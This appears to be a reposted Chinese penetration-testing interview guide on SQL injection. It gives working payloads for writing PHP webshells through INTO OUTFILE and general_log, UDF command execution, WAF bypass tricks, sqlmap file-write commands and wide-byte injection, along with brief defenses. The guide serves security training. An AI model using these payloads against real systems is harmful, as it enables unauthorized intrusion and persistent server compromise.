2025年渗透测试面试题总结-2025年HW(护网面试) 81(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 2025年HW(护网面试) 81

一、Webshell获取路径规划

二、变形注入突破技巧

三、MySQL写入Webshell条件矩阵

四、SQLMap实战操作指南

五、Bypass技巧大全

七、宽字节注入攻防

八、SQL注入检测方法论

 2025年HW(护网面试) 81

SQLi
发现 test.jsp?cid=150 注入点,你有哪几种思路获取 webshell?
以下链接存在 SQL注入漏洞,对于这个变形注入,你有什么思路?
mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
Mysql的网站注入,5.0以上和5.0以下有什么区别?
sqlmap如何对一个注入点注入,sqlmap如何注入一个post的包?
你都了解哪些SQL注入的bypass技巧?
介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案?
如何判断SQL注入,有哪些方法,说说你最常用的?

一、Webshell获取路径规划

1. 直接文件写入(需满足条件)

sql?id=1' UNION SELECT 1,"<?=@eval($_POST[x]);?>",3 INTO OUTFILE '/var/www/html/shell.php'--+ 
  • 必要条件
    • MySQL配置:secure_file_priv为空值(非NULL
    • 当前用户需具备FILE权限(SELECT user,file_priv FROM mysql.user
    • 知晓绝对路径(通过报错/配置文件泄露获取) 2. 日志文件写马
sqlSET global general_log='on'; SET global general_log_file='/var/www/html/cmd.php'; SELECT '<?php system($_GET[0]);?>'; 
  • 适用场景:当secure_file_priv禁用写入时
  • 后续清理:操作后需恢复日志路径避免异常 3. UDF提权写马
mermaidgraph LR A[上传so/dll文件] --> B[创建自定义函数] B --> C[调用函数执行系统命令] C --> D[直接写入webshell]
  • 步骤
    1. 利用@@plugin_dir获取插件目录
    2. 通过hex编码上传恶意库文件
    3. CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.so'
    4. 执行SELECT sys_exec('echo "<?php phpinfo();?>" > shell.php')

二、变形注入突破技巧

1. 参数污染绕过

httpPOST /test.jsp cid=152&cid=151' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--+
  • 原理:WAF检测首个参数,应用可能取末尾参数值 2. 分块编码传输
httpPOST /test.jsp HTTP/1.1 Transfer-Encoding: chunked 4 cid=1 5 ' AND A SLEEP(5)-- 0 

3. 复合语句混淆

sql/*!50400SELECT*/ 1 FROM users WHERE id=/*!500001*/' OR IF(SUBSTR(@@version,1,1)='8',BENCHMARK(10000000,SHA1(1)),0)
  • 利用MySQL内联注释特性绕过关键字检测

三、MySQL写入Webshell条件矩阵

条件类型5.0以下版本5.0+版本
信息获取手工猜解表名/列名直接查询information_schema
文件写入magic_quotes_gpc=offsecure_file_priv=''
提权路径UDF提权成功率>90%需对抗AppArmor/SELinux
系统命令执行可通过into outfile写马依赖Web目录权限控制

四、SQLMap实战操作指南

1. POST注入场景

bashsqlmap -u "http://target.com/login" --data="username=admin&password=pass" --level=5
  • 关键参数
    --data:POST数据包内容
    --cookie:维持会话凭证
    --proxy:通过BurpSuite观察流量
    2. 自动化写Webshell
bashsqlmap -u "http://target.com/test.jsp?cid=150" --file-write="shell.php" --file-dest="/var/www/html/shell.php" 
  • 前置要求:需先确认有写权限且路径正确

五、Bypass技巧大全

markdown▌ 层级绕过方案: 1. **字符替换** - 空白符:`%09`(TAB)/`%0a`(LF)/`/**/` - 等号:`LIKE 1`替代`=1` 2. **函数变形** - `CONCAT` → `CONCAT_WS('',1,2)` - `SUBSTRING` → `MID(@@version FROM 1 FOR 1)` 3. **逻辑混淆** ```sql SELECT * FROM users WHERE id=1 || (SELECT 1)>(SELECT 2)
  1. 协议级绕过
    • HTTP参数污染(HPP)
    • 分块编码传输
---
### 六、SQL注入全景防御 
**1. 漏洞成因**  
- 动态SQL拼接:`"SELECT * FROM users WHERE id=" + request.getParameter("id")` 
- 未过滤用户输入中的控制字符(如单引号/分号)
**2. 防范措施**  
```java 
// 参数化查询示例(Java)
PreparedStatement stmt = conn.prepareStatement("SELECT  * FROM users WHERE id=?");  
stmt.setInt(1,  Integer.parseInt(request.getParameter("id"))); 
  • 深度防御
    ▶ 输入验证:正则过滤[^0-9](数字型参数)
    ▶ 最小权限:数据库账户禁用FILE/EXECUTE权限
    ▶ WAF规则:拦截union selectsleep(等特征
    3. 进阶利用技术
  • 数据库端口转发:xp_cmdshell+nc反弹内网DB服务器
  • SSRF组合攻击:利用LOAD_FILE()读取内网文件

七、宽字节注入攻防

原理
GBK编码中%df%5c = "運"(%5c是反斜杠\),当程序使用addslashes()时:
id=1%df' → 转义为1%df\' → 实际存储1運' 导致单引号逃逸 Payload构造

sql?id=%df' UNION SELECT 1,@@version,3--+

修复方案

  1. 统一使用UTF-8编码
  2. 转义前先mysql_set_charset('gbk')
  3. 使用mysqli_real_escape_string()替代addslashes()

八、SQL注入检测方法论

1. 报错检测法(最高效)

httpGET /test.jsp?cid=150' AND 1=CAST(@@version AS INT)-- 
  • 触发类型转换错误泄露版本信息 2. 时间盲注基准测试
sql' UNION SELECT IF(SUBSTR(@@version,1,1)='5', SLEEP(3),0),1,2 
  • 注意事项:建立正常响应时间基线 3. 布尔状态对比
http正常:/product?id=152 异常:/product?id=152' AND '1'='2 
  • 观察页面内容差异/HTTP状态码变化 4. 工具自动化验证
bashsqlmap -u "http://target.com/test.jsp?cid=150" --batch --random-agent --risk=3

实战经验:在金融系统渗透中,通过SLEEP()函数时间差确认注入点后,利用CONNECTION_ID()函数绕过WAF规则匹配,最终通过日志文件写入获取Webshell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/93973.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/93973.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

8.1IO进程线程——文件IO函数

文章目录一、思维导图二、使用文件IO函数&#xff0c;实现文件的拷贝myhead.h代码现象三、使用标准IO函数&#xff0c;实现图片的拷贝代码现象四、使用文件IO函数&#xff0c;计算文件的大小代码现象五、牛客网刷题一、思维导图 二、使用文件IO函数&#xff0c;实现文件的拷贝 …

xerces-c-src_2_8_0 arm_linux编译

xerces-c-src_2_8_0 ARM LINUX 编译 文章借鉴&#xff1a;https://bbs.csdn.net/topics/250017321 export XERCESCROOT/xxxx/xerces-c-src_2_8_0 1 下载地址https://archive.apache.org/dist/xerces/c/sources/xerces-c-src_2_8_0.tar.gz&#xff1a;xerces-c-src_2_8_0.tar…

20250729使用WPS打开xlsx格式的电子表格时候隐藏显示fx的编辑栏的方法

20250729使用WPS打开xlsx格式的电子表格时候隐藏显示fx的编辑栏的方法 2025/7/29 9:44缘起&#xff1a;视图→编辑栏 截屏的时候&#xff0c;显示fx的编辑栏 占用空间了&#xff0c;很讨厌。 想办法拿掉&#xff01;

springboot当中ConfigurationProperties注解作用跟数据库存入有啥区别

在Spring Boot中&#xff0c;ConfigurationProperties注解用于将外部配置文件&#xff08;如application.properties或application.yml&#xff09;中的属性映射到Java对象中。这种方式使得配置管理更加灵活和集中。而将配置信息存入数据库则是另一种管理应用程序配置的方式。这…

JVM指针压缩的那些事

什么是指针压缩&#xff1f;指针压缩&#xff08;Compressed Ordinary Object Pointers&#xff0c;简称Compressed OOPs&#xff09;是JVM在64位平台上的一种内存优化技术&#xff0c;它将64位的对象引用压缩为32位&#xff0c;从而减少内存占用并提升性能。为什么需要指针压缩…

【数据结构初阶】--排序(一):直接插入排序,希尔排序

&#x1f525;个人主页&#xff1a;草莓熊Lotso &#x1f3ac;作者简介&#xff1a;C研发方向学习者 &#x1f4d6;个人专栏&#xff1a; 《C语言》 《数据结构与算法》《C语言刷题集》《Leetcode刷题指南》 ⭐️人生格言&#xff1a;生活是默默的坚持&#xff0c;毅力是永久的…

Hive SQL (HQL) 编辑指南

Hive SQL&#xff08;HQL&#xff09;是基于Hive的数据仓库查询语言&#xff0c;语法类似标准SQL&#xff0c;但因Hive的离线大数据处理特性&#xff0c;存在一些特有规则和最佳实践。以下是Hive SQL的编辑指南&#xff0c;涵盖核心语法、注意事项和优化技巧&#xff1a; 一、H…

力扣热题100--------240.搜索二维矩阵

编写一个高效的算法来搜索 m x n 矩阵 matrix 中的一个目标值 target 。该矩阵具有以下特性&#xff1a; 每行的元素从左到右升序排列。 每列的元素从上到下升序排列。 示例 1&#xff1a;输入&#xff1a;matrix [[1,4,7,11,15],[2,5,8,12,19],[3,6,9,16,22],[10,13,14,17,24…

【pytest高阶】-2- 内置hook插件扩展机制和定制开发

一、可爱版 pytest 插件 & hook 知识大礼包 &#x1f381;准备好和 pytest 插件来一场可爱约会了吗&#xff5e; 咱们用超甜的 emoji 把知识串成棉花糖&#x1f361; 一口一个知识点&#xff01;一、 pytest 插件&#xff1a;框架的 “魔法百宝箱” &#x1f9d9;‍♀️1. …

博创软件数智通OA平台:高效协同,安全办公新选择

在数字化转型浪潮下&#xff0c;企业对于办公自动化系统的需求日益迫切。博创软件&#xff0c;作为协同办公领域的佼佼者&#xff0c;凭借其卓越的技术实力和丰富的行业经验&#xff0c;推出了数智通OA平台&#xff0c;为企业提供了一个高效、安全、便捷的办公解决方案。博创软…

AI coding汇总持续更新

代码编辑器 当然了&#xff0c;用代码编辑器这个概念太泛了&#xff0c;更多的是指AI代码编辑器&#xff0c;有自动补全&#xff0c;ai写代码功能的产品。 cursor WindSurf Trae jetbrains全家桶 比如&#xff1a;IntelliJ IDEA虽然很优秀&#xff0c;但是有种感觉&#xff0c;…

Yolo底层原理学习--(第二篇)

一&#xff0c;IOU置信度与非极大值抑制NMS在第一篇文章中我们讲到&#xff0c;对于一张图片&#xff0c;在前向传播的过程后&#xff08;也就是卷积&#xff0c;池化&#xff0c;全连接等等&#xff09;&#xff0c;会生成许许多多个预测框&#xff0c;那么怎么从这么多预测框…

国内短剧CSP系统开发:技术架构与合规实践全解析

一、行业背景与政策驱动2025年&#xff0c;中国网络微短剧行业迎来法治化转型的关键期。国家广播电视总局《关于进一步统筹发展和安全促进网络微短剧行业健康繁荣发展的通知》明确实施"分类分层审核"制度&#xff0c;将微短剧划分为重点微短剧&#xff08;投资≥100万…

http请求访问响应慢问题解决的基本思路

一、明确问题现象&#xff1a;先确定 “慢” 的特征在排查前&#xff0c;需先收集基础信息&#xff0c;缩小问题范围&#xff1a;是否所有请求都慢&#xff1f; 还是仅特定接口&#xff08;如带数据库操作的接口&#xff09;、特定时间段&#xff08;如高峰期&#xff09;、特定…

Vue.js的核心概念

Vue.js的核心概念可归纳为以下关键点&#xff0c;结合最新技术演进与实践场景&#xff1a;一、响应式数据绑定‌双向绑定机制‌&#xff1a;通过Object.defineProperty&#xff08;Vue 2&#xff09;或Proxy&#xff08;Vue 3&#xff09;实现数据劫持&#xff0c;自动追踪依赖…

新手小白做一个简单的微服务

我不太懂微服务框架&#xff0c;自己跟了个视频尝试做一套简单的微服务框架&#xff0c;跟着做的时候&#xff0c;发现这个视频很适合初学者 https://www.bilibili.com/video/BV1684y1T7oW/?spm_id_from333.337.search-card.all.click&vd_source61882010e50d6b158eb87c148…

C语言笔记4:错题整理

#1.1 编程题 判断101-500之间有多少个素数&#xff0c;放入数组中&#xff0c;遍历数组输出所有素数&#xff0c; 素数&#xff1a; 除了1和它本身以外不再有其他的因数。 具体实现 就用DeepSeek了 以下是AI生成代码&#xff1a; #include <stdio.h> #include <math.h…

Mysql join语句

join 语句用于实现多表查询。 Index Nested-Loop Join select * from a join b on a.idb.id。对于两张表 a 和 b&#xff0c;Mysql 优化器会选择其中一张表执行全表扫描&#xff0c;称为驱动表。对于驱动表每一数据行&#xff0c;在被驱动表查询数据&#xff0c;将结果组合返回…

Spring AI 系列之三十 - Spring AI Alibaba-其它模型

之前做个几个大模型的应用&#xff0c;都是使用Python语言&#xff0c;后来有一个项目使用了Java&#xff0c;并使用了Spring AI框架。随着Spring AI不断地完善&#xff0c;最近它发布了1.0正式版&#xff0c;意味着它已经能很好的作为企业级生产环境的使用。对于Java开发者来说…

【Flutter3.8x】flutter从入门到实战基础教程(五):Material Icons图标的使用

flutter给我们内置准备了很多图标&#xff0c;这些图标可以使我们在没有设计师的前提下&#xff0c;也能做出自己满意的app icon网站 https://material.io/tools/icons/进入网站后&#xff0c;点击我们需要的图标&#xff0c;然后滑动找到flutter的tab选项&#xff0c;就可以看…